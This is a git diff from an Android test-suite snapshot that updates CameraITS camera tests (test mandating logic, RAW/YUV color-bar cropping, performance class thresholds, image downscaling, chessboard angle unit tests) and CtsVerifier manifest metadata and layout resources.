Snap for 7901677 from bb8bd3e33e748c2ff1f948423a8298f2f29dbf1a to sc-platform-release

Change-Id: I233dd39b94b368fea96aa8d494583fc611bf7279
diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py
index d488a6f..1c10562 100644
--- a/apps/CameraITS/tests/its_base_test.py
+++ b/apps/CameraITS/tests/its_base_test.py
@@ -32,8 +32,8 @@
 VALID_NUM_DEVICES = (1, 2)
 NOT_YET_MANDATED_ALL = 100
 
-# Not yet mandated tests ['test', first_api_level mandatory]
-# ie. ['test_test_patterns', 30] is MANDATED for first_api_level >= 30
+# Not yet mandated tests ['test', first_api_level not yet mandatory]
+# ie. ['test_test_patterns', 30] is MANDATED for first_api_level > 30
 NOT_YET_MANDATED = {
     'scene0': [['test_test_patterns', 30],
                ['test_tonemap_curve', 30]],
@@ -210,10 +210,10 @@
 
     # Determine which test are not yet mandated for first api level.
     tests = NOT_YET_MANDATED[scene]
-    for [test, first_api_level_mandated] in tests:
-      logging.debug('First API level %s MANDATED: %d',
-                    test, first_api_level_mandated)
-      if first_api_level < first_api_level_mandated:
+    for [test, first_api_level_not_mandated] in tests:
+      logging.debug('First API level %s NOT MANDATED: %d',
+                    test, first_api_level_not_mandated)
+      if first_api_level <= first_api_level_not_mandated:
         not_yet_mandated[scene].append(test)
     return not_yet_mandated
 
diff --git a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
index e3336a6..0c352307 100644
--- a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
+++ b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
@@ -88,6 +88,11 @@
                     'RGB means: %s, expected: %s, ATOL: %d',
                     color, str(rgb_means), str(exp_values), _BW_CH_ATOL)
       test_fail = True
+    if not all(i < _CH_VARIANCE_ATOL for i in rgb_vars):
+      logging.error('Image has too much variance for color %s. '
+                    'RGB variances: %s, ATOL: %d',
+                    color, str(rgb_vars), _CH_VARIANCE_ATOL)
+      test_fail = True
   else:
     exp_values_mask = np.array(exp_values)//255
     primary = max(rgb_means*exp_values_mask)
@@ -101,14 +106,18 @@
       logging.error('Secondary colors too bright in %s. '
                     'RGB means: %s, expected: %s, MAX: %d',
                     color, str(rgb_means), str(exp_values), _RGB_SECONDARY_MAX)
+
+    primary_rgb_vars = max(rgb_vars*exp_values_mask)
+    secondary_rgb_vars = max((1-exp_values_mask)*rgb_vars)
+    if primary_rgb_vars > _CH_VARIANCE_ATOL:
+      logging.error('Image primary color has too much variance for %s. '
+                    'RGB variances: %s, ATOL: %d',
+                    color, str(rgb_vars), _CH_VARIANCE_ATOL)
       test_fail = True
-
-  if not all(i < _CH_VARIANCE_ATOL for i in rgb_vars):
-    logging.error('Image has too much variance for color %s. '
-                  'RGB variances: %s, ATOL: %d',
-                  color, str(rgb_vars), _CH_VARIANCE_ATOL)
-    test_fail = True
-
+    elif secondary_rgb_vars > _CH_VARIANCE_ATOL:
+      logging.error('Image secondary color has too much variance for %s. '
+                    'RGB variances: %s, ATOL: %d',
+                    color, str(rgb_vars), _CH_VARIANCE_ATOL)
   return test_fail
 
 
diff --git a/apps/CameraITS/tests/scene0/test_tonemap_curve.py b/apps/CameraITS/tests/scene0/test_tonemap_curve.py
index 5395da2..48c95a3 100644
--- a/apps/CameraITS/tests/scene0/test_tonemap_curve.py
+++ b/apps/CameraITS/tests/scene0/test_tonemap_curve.py
@@ -50,6 +50,39 @@
 LINEAR_TONEMAP = sum([[i/63.0, i/126.0] for i in range(64)], [])
 
 
+def get_yuv_patch_coordinates(num, w_orig, w_crop):
+  """Returns the normalized x co-ordinate for the title.
+
+  Args:
+   num: int; position on color in the color bar.
+   w_orig: float; original RAW image W
+   w_crop: float; cropped RAW image W
+
+  Returns:
+    normalized x, w values for color patch.
+  """
+  if w_crop == w_orig:  # uncropped image
+    x_norm = num / N_BARS + DELTA
+    w_norm = 1 / N_BARS - 2 * DELTA
+    logging.debug('x_norm: %.5f, w_norm: %.5f', x_norm, w_norm)
+  elif w_crop < w_orig:  # adject patch width to match vertical RAW crop
+    w_delta_edge = (w_orig - w_crop) / 2
+    w_bar_orig = w_orig / N_BARS
+    if num == 0:  # left-most bar
+      x_norm = DELTA
+      w_norm = (w_bar_orig - w_delta_edge) / w_crop - 2 * DELTA
+    elif num == N_BARS:  # right-most bar
+      x_norm = (w_bar_orig*num - w_delta_edge)/w_crop + DELTA
+      w_norm = (w_bar_orig - w_delta_edge) / w_crop - 2 * DELTA
+    else:  # middle bars
+      x_norm = (w_bar_orig * num - w_delta_edge) / w_crop + DELTA
+      w_norm = w_bar_orig / w_crop - 2 * DELTA
+    logging.debug('x_norm: %.5f, w_norm: %.5f (crop-corrected)', x_norm, w_norm)
+  else:
+    raise AssertionError('Cropped image is larger than original!')
+  return x_norm, w_norm
+
+
 def get_x_norm(num):
   """Returns the normalized x co-ordinate for the title.
 
@@ -89,7 +122,7 @@
     raise AssertionError('RAW COLOR_BARS test pattern does not have all colors')
 
 
-def check_yuv_vs_raw(img_raw, img_yuv):
+def check_yuv_vs_raw(img_raw, img_yuv, name, debug):
   """Checks for YUV vs RAW match in 8 patches.
 
   Check for correct values and color consistency
@@ -97,17 +130,45 @@
   Args:
     img_raw: RAW image
     img_yuv: YUV image
+    name: string for test name with path
+    debug: boolean to log additional information
   """
   logging.debug('Checking YUV/RAW match')
+  raw_w = img_raw.shape[1]
+  raw_h = img_raw.shape[0]
+  raw_aspect_ratio = raw_w/raw_h
+  yuv_aspect_ratio = YUV_W/YUV_H
+  logging.debug('raw_img: W, H, AR: %d, %d, %.3f',
+                raw_w, raw_h, raw_aspect_ratio)
+
+  # Crop RAW to match YUV 4:3 format
+  raw_w_cropped = raw_w
+  if raw_aspect_ratio > yuv_aspect_ratio:  # vertical crop sensor
+    logging.debug('Cropping RAW to match YUV aspect ratio.')
+    w_norm_raw = yuv_aspect_ratio / raw_aspect_ratio
+    x_norm_raw = (1 - w_norm_raw) / 2
+    img_raw = image_processing_utils.get_image_patch(
+        img_raw, x_norm_raw, 0, w_norm_raw, 1)
+    raw_w_cropped = img_raw.shape[1]
+    logging.debug('New RAW W, H: %d, %d', raw_w_cropped, img_raw.shape[0])
+    image_processing_utils.write_image(
+        img_raw, f'{name}_raw_cropped_COLOR_BARS.jpg', True)
+
+  # Compare YUV and RAW color patches
   color_match_errs = []
   color_variance_errs = []
   for n in range(N_BARS):
-    x_norm = get_x_norm(n)
+    x_norm, w_norm = get_yuv_patch_coordinates(n, raw_w, raw_w_cropped)
     logging.debug('x_norm: %.3f', x_norm)
     raw_patch = image_processing_utils.get_image_patch(img_raw, x_norm, Y_NORM,
-                                                       W_NORM, H_NORM)
+                                                       w_norm, H_NORM)
     yuv_patch = image_processing_utils.get_image_patch(img_yuv, x_norm, Y_NORM,
-                                                       W_NORM, H_NORM)
+                                                       w_norm, H_NORM)
+    if debug:
+      image_processing_utils.write_image(
+          raw_patch, f'{name}_raw_patch_{n}.jpg', True)
+      image_processing_utils.write_image(
+          yuv_patch, f'{name}_yuv_patch_{n}.jpg', True)
     raw_means = np.array(image_processing_utils.compute_image_means(raw_patch))
     raw_vars = np.array(
         image_processing_utils.compute_image_variances(raw_patch))
@@ -117,10 +178,10 @@
         image_processing_utils.compute_image_variances(yuv_patch))
     if not np.allclose(raw_means, yuv_means, atol=RGB_MEAN_TOL):
       color_match_errs.append(
-          'RAW: %s, RGB(norm): %s, ATOL: %.2f' %
+          'means RAW: %s, RGB(norm): %s, ATOL: %.2f' %
           (str(raw_means), str(np.round(yuv_means, 3)), RGB_MEAN_TOL))
     if not np.allclose(raw_vars, yuv_vars, atol=RGB_VAR_TOL):
-      color_variance_errs.append('RAW: %s, RGB: %s, ATOL: %.4f' %
+      color_variance_errs.append('variances RAW: %s, RGB: %s, ATOL: %.4f' %
                                  (str(raw_vars), str(yuv_vars), RGB_VAR_TOL))
 
   # Print all errors before assertion
@@ -136,13 +197,14 @@
     raise AssertionError('Color variance errors. See test_log.DEBUG')
 
 
-def test_tonemap_curve_impl(name, cam, props):
+def test_tonemap_curve_impl(name, cam, props, debug):
   """Test tonemap curve with sensor test pattern.
 
   Args:
    name: Path to save the captured image.
    cam: An open device session.
    props: Properties of cam.
+   debug: boolean for debug mode
   """
 
   avail_patterns = props['android.sensor.availableTestPatternModes']
@@ -161,7 +223,9 @@
 
   # Save RAW pattern
   image_processing_utils.write_image(
-      img_raw, '%s_raw_%d.jpg' % (name, COLOR_BAR_PATTERN), True)
+      img_raw, f'{name}_raw_COLOR_BARS.jpg', True)
+
+  # Check pattern for correctness
   check_raw_pattern(img_raw)
 
   # YUV image
@@ -181,10 +245,10 @@
 
   # Save YUV pattern
   image_processing_utils.write_image(
-      img_yuv, '%s_yuv_%d.jpg' % (name, COLOR_BAR_PATTERN), True)
+      img_yuv, f'{name}_yuv_COLOR_BARS.jpg', True)
 
   # Check pattern for correctness
-  check_yuv_vs_raw(img_raw, img_yuv)
+  check_yuv_vs_raw(img_raw, img_yuv, name, debug)
 
 
 class TonemapCurveTest(its_base_test.ItsBaseTest):
@@ -208,7 +272,7 @@
           camera_properties_utils.manual_post_proc(props) and
           camera_properties_utils.color_bars_test_pattern(props))
 
-      test_tonemap_curve_impl(name, cam, props)
+      test_tonemap_curve_impl(name, cam, props, self.debug_mode)
 
 
 if __name__ == '__main__':
diff --git a/apps/CameraITS/tests/scene1_1/test_crop_regions.py b/apps/CameraITS/tests/scene1_1/test_crop_regions.py
index 148d863..77e35ed 100644
--- a/apps/CameraITS/tests/scene1_1/test_crop_regions.py
+++ b/apps/CameraITS/tests/scene1_1/test_crop_regions.py
@@ -17,14 +17,13 @@
 import logging
 import os.path
 
-from mobly import test_runner
-import numpy as np
-
-import its_base_test
 import camera_properties_utils
 import capture_request_utils
 import image_processing_utils
+import its_base_test
 import its_session_utils
+from mobly import test_runner
+import numpy as np
 import target_exposure_utils
 
 # 5 regions specified in normalized (x, y, w, h) coords.
@@ -64,7 +63,7 @@
       ax, ay = a['left'], a['top']
       aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
       e, s = target_exposure_utils.get_target_exposure_combos(
-          props, cam)['minSensitivity']
+          log_path, cam)['minSensitivity']
       logging.debug('Active sensor region (%d,%d %dx%d)', ax, ay, aw, ah)
 
       # Uses a 2x digital zoom.
diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
index e666763..c19b6f7a 100644
--- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
@@ -22,6 +22,7 @@
 import its_base_test
 import its_session_utils
 
+CAMERA_LAUNCH_R_PERFORMANCE_CLASS_THRESHOLD = 600  # ms
 CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 500  # ms
 
 
@@ -40,8 +41,8 @@
         device_id=self.dut.serial,
         camera_id=self.camera_id) as cam:
 
-      camera_properties_utils.skip_unless(
-          cam.is_performance_class_primary_camera())
+      perf_class_level = cam.get_performance_class_level()
+      camera_properties_utils.skip_unless(perf_class_level >= 11)
 
       # Load chart for scene.
       props = cam.get_camera_properties()
@@ -55,9 +56,14 @@
         camera_id=self.camera_id)
 
     launch_ms = cam.measure_camera_launch_ms()
-    if launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD:
+    if perf_class_level >= 12:
+      perf_class_threshold = CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD
+    else:
+      perf_class_threshold = CAMERA_LAUNCH_R_PERFORMANCE_CLASS_THRESHOLD
+
+    if launch_ms >= perf_class_threshold:
       raise AssertionError(f'camera launch time: {launch_ms} ms, THRESH: '
-                           f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD} ms')
+                           f'{perf_class_threshold} ms')
     else:
       logging.debug('camera launch time: %.1f ms', launch_ms)
 
diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
index ba4867b..74aefd5 100644
--- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
@@ -22,7 +22,7 @@
 import its_base_test
 import its_session_utils
 
-JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD = 1000  # ms
+JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD = 1000  # ms
 
 
 class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
@@ -41,7 +41,7 @@
         camera_id=self.camera_id) as cam:
 
       camera_properties_utils.skip_unless(
-          cam.is_performance_class_primary_camera())
+          cam.get_performance_class_level() >= 11)
 
       # Load chart for scene.
       props = cam.get_camera_properties()
@@ -55,10 +55,10 @@
         camera_id=self.camera_id)
 
     jpeg_capture_ms = cam.measure_camera_1080p_jpeg_capture_ms()
-    if jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD:
+    if jpeg_capture_ms >= JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD:
       raise AssertionError(f'1080p jpeg capture time: {jpeg_capture_ms} ms, '
                            f'THRESH: '
-                           f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD} ms')
+                           f'{JPEG_CAPTURE_PERFORMANCE_CLASS_THRESHOLD} ms')
     else:
       logging.debug('1080p jpeg capture time: %.1f ms', jpeg_capture_ms)
 
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index 657f20c..1a43788 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -216,7 +216,15 @@
     fd = float(cap_raw['metadata']['android.lens.focalLength'])
     k = camera_properties_utils.get_intrinsic_calibration(props, True, fd)
     opencv_dist = camera_properties_utils.get_distortion_matrix(props)
-    img_raw = cv2.undistort(img_raw, k, opencv_dist)
+    k_new = cv2.getOptimalNewCameraMatrix(
+        k, opencv_dist, (img_raw.shape[1], img_raw.shape[0]), 0)[0]
+    scale = max(k_new[0][0] / k[0][0], k_new[1][1] / k[1][1])
+    if scale > 1:
+      k_new[0][0] = k[0][0] * scale
+      k_new[1][1] = k[1][1] * scale
+      img_raw = cv2.undistort(img_raw, k, opencv_dist, None, k_new)
+    else:
+      img_raw = cv2.undistort(img_raw, k, opencv_dist)
 
   # Get image size.
   size_raw = img_raw.shape
diff --git a/apps/CameraITS/utils/camera_properties_utils.py b/apps/CameraITS/utils/camera_properties_utils.py
index 117ba21..dcdf731 100644
--- a/apps/CameraITS/utils/camera_properties_utils.py
+++ b/apps/CameraITS/utils/camera_properties_utils.py
@@ -737,7 +737,7 @@
     Boolean. True if android.control.postRawSensitivityBoost is supported.
   """
   return (
-      'android.control.postRawSensitivityBoostRange' in props.keys() and
+      'android.control.postRawSensitivityBoostRange' in props['camera.characteristics.keys'] and
       props.get('android.control.postRawSensitivityBoostRange') != [100, 100])
 
 
diff --git a/apps/CameraITS/utils/image_processing_utils.py b/apps/CameraITS/utils/image_processing_utils.py
index c041e24..23432f1 100644
--- a/apps/CameraITS/utils/image_processing_utils.py
+++ b/apps/CameraITS/utils/image_processing_utils.py
@@ -23,14 +23,13 @@
 import sys
 import unittest
 
+import capture_request_utils
+import cv2
+import error_util
 import numpy
 from PIL import Image
 
 
-import cv2
-import capture_request_utils
-import error_util
-
 # The matrix is from JFIF spec
 DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([[1.000, 0.000, 1.402],
                                        [1.000, -0.344, -0.714],
@@ -347,6 +346,40 @@
     raise error_util.CameraItsError('Invalid format %s' % (cap['format']))
 
 
+def downscale_image(img, f):
+  """Shrink an image by a given integer factor.
+
+  This function computes output pixel values by averaging over rectangular
+  regions of the input image; it doesn't skip or sample pixels, and all input
+  image pixels are evenly weighted.
+
+  If the downscaling factor doesn't cleanly divide the width and/or height,
+  then the remaining pixels on the right or bottom edge are discarded prior
+  to the downscaling.
+
+  Args:
+    img: The input image as an ndarray.
+    f: The downscaling factor, which should be an integer.
+
+  Returns:
+    The new (downscaled) image, as an ndarray.
+  """
+  h, w, chans = img.shape
+  f = int(f)
+  assert f >= 1
+  h = (h//f)*f
+  w = (w//f)*f
+  img = img[0:h:, 0:w:, ::]
+  chs = []
+  for i in range(chans):
+    ch = img.reshape(h*w*chans)[i::chans].reshape(h, w)
+    ch = ch.reshape(h, w//f, f).mean(2).reshape(h, w//f)
+    ch = ch.T.reshape(w//f, h//f, f).mean(2).T.reshape(h//f, w//f)
+    chs.append(ch.reshape(h*w//(f*f)))
+  img = numpy.vstack(chs).T.reshape(h//f, w//f, chans)
+  return img
+
+
 def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane, props,
                              cap_res):
   """Convert a Bayer raw-16 image to an RGB image.
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
index 4c47388..3289b91 100644
--- a/apps/CameraITS/utils/its_session_utils.py
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -1093,25 +1093,24 @@
                                       ' support')
     return data['strValue'] == 'true'
 
-  def is_performance_class_primary_camera(self):
+  def get_performance_class_level(self):
     """Query whether the camera device is an R or S performance class primary camera.
 
     A primary rear/front facing camera is a camera device with the lowest
     camera Id for that facing.
 
     Returns:
-      Boolean
+      Performance class level in integer. R: 11. S: 12.
     """
     cmd = {}
-    cmd['cmdName'] = 'isPerformanceClassPrimaryCamera'
+    cmd['cmdName'] = 'getPerformanceClassLevel'
     cmd['cameraId'] = self._camera_id
     self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
 
     data, _ = self.__read_response_from_socket()
-    if data['tag'] != 'performanceClassPrimaryCamera':
-      raise error_util.CameraItsError('Failed to query performance class '
-                                      'primary camera')
-    return data['strValue'] == 'true'
+    if data['tag'] != 'performanceClassLevel':
+      raise error_util.CameraItsError('Failed to query performance class level')
+    return int(data['strValue'])
 
   def measure_camera_launch_ms(self):
     """Measure camera launch latency in millisecond, from open to first frame.
diff --git a/apps/CameraITS/utils/opencv_processing_utils.py b/apps/CameraITS/utils/opencv_processing_utils.py
index 69bad61..6cc692b 100644
--- a/apps/CameraITS/utils/opencv_processing_utils.py
+++ b/apps/CameraITS/utils/opencv_processing_utils.py
@@ -557,29 +557,17 @@
 class Cv2ImageProcessingUtilsTests(unittest.TestCase):
   """Unit tests for this module."""
 
-  def test_get_angle_identify_unrotated_chessboard_angle(self):
-    normal_img_path = os.path.join(
-        TEST_IMG_DIR, 'rotated_chessboards/normal.jpg')
-    wide_img_path = os.path.join(
-        TEST_IMG_DIR, 'rotated_chessboards/wide.jpg')
-    normal_img = cv2.cvtColor(cv2.imread(normal_img_path), cv2.COLOR_BGR2GRAY)
-    wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
-    normal_angle = get_angle(normal_img)
-    wide_angle = get_angle(wide_img)
-    e_msg = f'Angle: 0, Regular: {normal_angle}, Wide: {wide_angle}'
-    self.assertEqual(get_angle(normal_img), 0, e_msg)
-    self.assertEqual(get_angle(wide_img), 0, e_msg)
-
   def test_get_angle_identify_rotated_chessboard_angle(self):
     # Array of the image files and angles containing rotated chessboards.
     test_cases = [
-        ('_15_ccw', 15),
-        ('_30_ccw', 30),
-        ('_45_ccw', 45),
-        ('_60_ccw', 60),
-        ('_75_ccw', 75),
-        ('_90_ccw', 90)
+        ('', 0),
+        ('_15_ccw', -15),
+        ('_30_ccw', -30),
+        ('_45_ccw', -45),
+        ('_60_ccw', -60),
+        ('_75_ccw', -75),
     ]
+    test_fails = ''
 
     # For each rotated image pair (normal, wide), check angle against expected.
     for suffix, angle in test_cases:
@@ -594,13 +582,21 @@
       wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
 
       # Assert angle as expected.
-      normal_angle = get_angle(normal_img)
-      wide_angle = get_angle(wide_img)
-      e_msg = f'Angle: {angle}, Regular: {normal_angle}, Wide: {wide_angle}'
-      self.assertTrue(
-          numpy.isclose(abs(normal_angle), angle, ANGLE_CHECK_TOL), e_msg)
-      self.assertTrue(
-          numpy.isclose(abs(wide_angle), angle, ANGLE_CHECK_TOL), e_msg)
+      normal = get_angle(normal_img)
+      wide = get_angle(wide_img)
+      valid_angles = (angle, angle+90)  # try both angle & +90 due to squares
+      e_msg = (f'\n Rotation angle test failed: {angle}, extracted normal: '
+               f'{normal:.2f}, wide: {wide:.2f}, valid_angles: {valid_angles}')
+      matched_angles = False
+      for a in valid_angles:
+        if (math.isclose(normal, a, abs_tol=ANGLE_CHECK_TOL) and
+            math.isclose(wide, a, abs_tol=ANGLE_CHECK_TOL)):
+          matched_angles = True
+
+      if not matched_angles:
+        test_fails += e_msg
+
+    self.assertEqual(len(test_fails), 0, test_fails)
 
 
 if __name__ == '__main__':
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 9855e6d..bf85cae 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -197,7 +197,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_other" />
-            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive:android.hardware.type.television" />
             <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
@@ -4883,7 +4883,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_excluded_features"
-                android:value="android.hardware.type.watch:android.hardware.type.television" />
+                android:value="android.hardware.type.watch:android.hardware.type.television:android.hardware.type.automotive" />
             <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
@@ -5474,6 +5474,15 @@
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
+            <meta-data
+                android:name="test_category"
+                android:value="@string/test_category_telecom"/>
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
diff --git a/apps/CtsVerifier/res/layout-land/sensor_test.xml b/apps/CtsVerifier/res/layout-land/sensor_test.xml
index 5dbd95a..9d8f4d6 100644
--- a/apps/CtsVerifier/res/layout-land/sensor_test.xml
+++ b/apps/CtsVerifier/res/layout-land/sensor_test.xml
@@ -46,7 +46,7 @@
 
             <android.opengl.GLSurfaceView android:id="@+id/gl_surface_view"
                     android:visibility="gone"
-                    android:layout_width="0dp"
+                    android:layout_width="@dimen/snsr_glview_size"
                     android:layout_height="match_parent"
                     android:layout_weight="1"/>
 
diff --git a/apps/CtsVerifier/res/layout-port/sensor_test.xml b/apps/CtsVerifier/res/layout-port/sensor_test.xml
index 024a3f3..9d00b86 100644
--- a/apps/CtsVerifier/res/layout-port/sensor_test.xml
+++ b/apps/CtsVerifier/res/layout-port/sensor_test.xml
@@ -37,7 +37,7 @@
 
         <android.opengl.GLSurfaceView android:id="@+id/gl_surface_view"
                 android:visibility="gone"
-                android:layout_height="0dp"
+                android:layout_height="@dimen/snsr_glview_size"
                 android:layout_weight="1"
                 android:layout_width="match_parent"/>
 
diff --git a/apps/CtsVerifier/res/layout-small/sensor_test.xml b/apps/CtsVerifier/res/layout-small/sensor_test.xml
index 348e321..7f2805e 100644
--- a/apps/CtsVerifier/res/layout-small/sensor_test.xml
+++ b/apps/CtsVerifier/res/layout-small/sensor_test.xml
@@ -37,7 +37,7 @@
 
             <android.opengl.GLSurfaceView android:id="@+id/gl_surface_view"
                 android:visibility="gone"
-                android:layout_height="0dp"
+                android:layout_height="@dimen/snsr_glview_size"
                 android:layout_weight="1"
                 android:layout_width="match_parent"/>
 
diff --git a/apps/CtsVerifier/res/layout/audio_coldstart_common.xml b/apps/CtsVerifier/res/layout/audio_coldstart_common.xml
index 3eaa55d..2255ca7 100644
--- a/apps/CtsVerifier/res/layout/audio_coldstart_common.xml
+++ b/apps/CtsVerifier/res/layout/audio_coldstart_common.xml
@@ -58,4 +58,9 @@
         android:layout_height="wrap_content"
         android:id="@+id/coldstart_coldLatencyTxt" />
 
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:id="@+id/coldstart_coldResultsTxt" />
+
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml b/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml
index 005c5e6..24767d2 100644
--- a/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml
@@ -33,7 +33,8 @@
             <TextView
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:text="@string/analog_headset_query"/>
+                android:text="@string/analog_headset_query"
+                android:id="@+id/analog_headset_query"/>
             <LinearLayout
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
@@ -56,11 +57,11 @@
         <TextView
             android:layout_width="match_parent"
             android:layout_height="wrap_content"
-            android:id="@+id/headset_analog_name"/>
+            android:id="@+id/headset_analog_plug_message"/>
         <TextView
             android:layout_width="match_parent"
             android:layout_height="wrap_content"
-            android:id="@+id/headset_analog_plug_message"/>
+            android:id="@+id/headset_analog_name"/>
 
         <!-- Player Controls -->
         <LinearLayout
@@ -90,7 +91,7 @@
         <TextView
             android:layout_width="match_parent"
             android:layout_height="wrap_content"
-            android:text="@string/analog_headset_success_question"/>
+            android:id="@+id/analog_headset_playback_status"/>
 
         <LinearLayout
             android:layout_width="match_parent"
@@ -118,6 +119,10 @@
         <TextView
             android:layout_width="match_parent"
             android:layout_height="wrap_content"
+            android:id="@+id/analog_headset_keycodes_prompt"/>
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
             android:text="@string/analog_headset_keycodes_label"/>
         <LinearLayout
             android:layout_width="match_parent"
@@ -144,6 +149,14 @@
                 android:id="@+id/headset_keycode_volume_down"/>
         </LinearLayout>
     </LinearLayout>
+
+    <!-- Results -->
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:id="@+id/headset_results"
+        android:textSize="20dp"/>
+
     <include layout="@layout/pass_fail_buttons" />
 
 </LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml b/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
index ed4ca469..9d9631a 100644
--- a/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
@@ -48,6 +48,23 @@
                     <TextView
                         android:layout_width="wrap_content"
                         android:layout_height="match_parent"
+                        android:text="Test Path:"/>
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text=""
+                        android:id="@+id/audio_loopback_testpath"/>
+                </LinearLayout>
+
+                <LinearLayout
+                    android:orientation="horizontal"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content">
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
                         android:text="Pro Audio:"/>
 
                     <TextView
@@ -116,23 +133,6 @@
                     <TextView
                         android:layout_width="wrap_content"
                         android:layout_height="match_parent"
-                        android:text="Test Path:"/>
-
-                    <TextView
-                        android:layout_width="wrap_content"
-                        android:layout_height="match_parent"
-                        android:text=""
-                        android:id="@+id/audio_loopback_testpath"/>
-                </LinearLayout>
-
-                <LinearLayout
-                    android:orientation="horizontal"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content">
-
-                    <TextView
-                        android:layout_width="wrap_content"
-                        android:layout_height="match_parent"
                         android:text="Required Max Latency (ms):"/>
 
                     <TextView
diff --git a/apps/CtsVerifier/res/values-small-watch/dimens.xml b/apps/CtsVerifier/res/values-small-watch/dimens.xml
new file mode 100644
index 0000000..24e84c5
--- /dev/null
+++ b/apps/CtsVerifier/res/values-small-watch/dimens.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<resources>
+    <dimen name="snsr_glview_size">80dp</dimen>
+</resources>
diff --git a/apps/CtsVerifier/res/values/dimens.xml b/apps/CtsVerifier/res/values/dimens.xml
index faea2b5..891e740 100644
--- a/apps/CtsVerifier/res/values/dimens.xml
+++ b/apps/CtsVerifier/res/values/dimens.xml
@@ -36,6 +36,8 @@
     <dimen name="snsr_view_padding_left">8dp</dimen>
     <dimen name="snsr_view_padding_right">8dp</dimen>
 
+    <dimen name="snsr_glview_size">0dp</dimen>
+
     <dimen name="js_padding">10dp</dimen>
 
     <!-- Default screen margins, per the Android Design guidelines. -->
